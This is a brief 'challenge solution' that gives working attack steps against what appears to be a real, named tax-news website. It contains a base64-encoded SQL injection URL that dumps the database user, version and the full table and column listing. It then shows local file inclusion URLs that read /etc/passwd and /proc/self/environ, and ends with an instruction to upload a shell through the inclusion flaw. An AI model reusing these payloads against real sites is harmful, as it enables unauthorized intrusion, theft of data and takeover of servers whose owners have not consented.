SQLi+ LFI Challenge solution

Solution :
step 1 : Fisrt Do sqli && copy SOURCE
Sqli proof:
http://www.taxindiaonline.com/RC2/NewsDesc.php?MpoQSrPnM=LTE4OTMwJyAgIFVuaW9uIFNlbGVjdCAxLDIsR1JvVXBfY09uY2F0KDB4NjQ2OTcwNzUsMHgzYzYyNzIzZSx1c2VyKCksMHgzYzYyNzIzZSx2ZXJzaW9uKCksMHgzYzYyNzIzZSxzY2hlbWEoKSwgbWFrZV9zZXQoNixAOj0weDBhLChzZWxlY3QoMSlmcm9tKGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zKXdoZXJlQDo9bWFrZV9zZXQoNTExLEAsMHgzYzZjNjkzZSx0YWJsZV9uYW1lLGNvbHVtbl9uYW1lKSksQCkpLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LS0gLQ==

Step 2:
THEN do LFI
LFI vuneribility CHECK [ ../../../../../../../../../../../../etc/passwd ]
http://www.taxindiaonline.com/RC2/inside2.php3?filename=../../../../../../../../../../../../etc/passwd&newsid=4208

THEN CHECK [ ../../../../../../../../proc/SELF/environ ]
http://www.taxindiaonline.com/RC2/inside2.php3?filename=../../../../../../../../proc/SELF/environ&newsid=4208

upload THEN LFI uploader USING tamper DATA

Youtube link: https://www.youtube.com/watch?v=M5I7RiHkmyI&feature=youtu.be